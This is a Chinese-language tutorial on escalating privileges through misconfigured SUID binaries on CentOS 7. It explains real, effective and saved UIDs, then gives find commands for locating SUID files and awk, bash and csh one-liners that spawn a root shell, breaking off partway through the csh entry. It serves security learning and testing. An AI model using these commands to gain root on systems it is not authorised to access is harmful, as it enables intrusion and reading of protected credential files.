一、操作目的和应用场景
本文档介绍在CentOS 7系统中利用带有suid权限的程序提权从而获取root shell的方法。
首先简单介绍suid的概念:
Linux进程在运行的时候有以下三个UID:
Real UID:执行该进程的用户的UID。Real UID只用于标识用户,不用于权限检查。
Effective UID(EUID):进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID。
Saved UID:在高权限用户降权后,保留的UID。
进程的GID与UID情况类似。
CentOS系统中存在可执行程序/bin/cat,属主属组均为root,任何用户对其都拥有执行权限。另外存在系统文件/etc/shadow,属主属组也都是root,不提供任何访问权限。
假设系统中存在一个普通用户,名为user1,UID和GID都是1000。该用户对/bin/cat具有执行权限,对/etc/shadow不具有任何权限。默认情况下,user1执行/bin/cat,系统会创建一个cat进程,进程的Real UID和Effective UID相同,都是运行该进程的user1用户的UID(1000)。cat进程访问/etc/shadow,由于进程的EUID不具备任何访问权限,所以系统会拒绝其访问目标。
为/bin/cat设置SUID权限之后,user1创建的cat进程的Effective UID自动被设置为/bin/cat文件的属主的UID值,也就是root的UID:0。这样该进程访问/etc/shadow时,虽然目标文件拒绝任何人访问,但是由于进程的Effective UID为0,具备超级用户权限,可以访问任意文件,所以就可以显示shadow文件的内容了。
如果某个设置了suid权限的程序运行后创建了shell,那么shell进程的EUID也会是这个程序文件属主的UID,也就是说,这是一个root shell。root shell中运行的程序的EUID也都是0,具备超级权限。
为可执行文件添加suid权限的目的是简化操作流程,让普通用户也能做一些高权限才能做的的工作。但是如果SUID配置不当,则很容易造成提权。
二、平台及工具版本
虚拟机:CentOS Linux release 7.8.2003 (Core)
三、操作步骤
(一)suid/sgid权限设置
chmod u+s prog1 //设置prog1的suid权限
chmod g+s prog2 //设置prog2的sgid权限
(二)查找带有suid/sgid权限的文件
find / -perm -u=s -type f 2>/dev/null //查找suid文件
find / -perm -g=s -type f 2>/dev/null //查找sgid文件
现在我们假设,后面介绍的用于提权的程序文件都被root用户设置了suid权限,我们搜索到这些文件后开始提权。
(三)提权
1、awk
输入下面的命令进行提权:
awk ‘BEGIN {system(“/bin/bash -p”)}’
提权成功,得到了root shell。
2、bash
输入下面的命令进行提权:
bash -p
提权成功,得到了root shell。
3、csh
输入下面的命令进行提权:
csh -b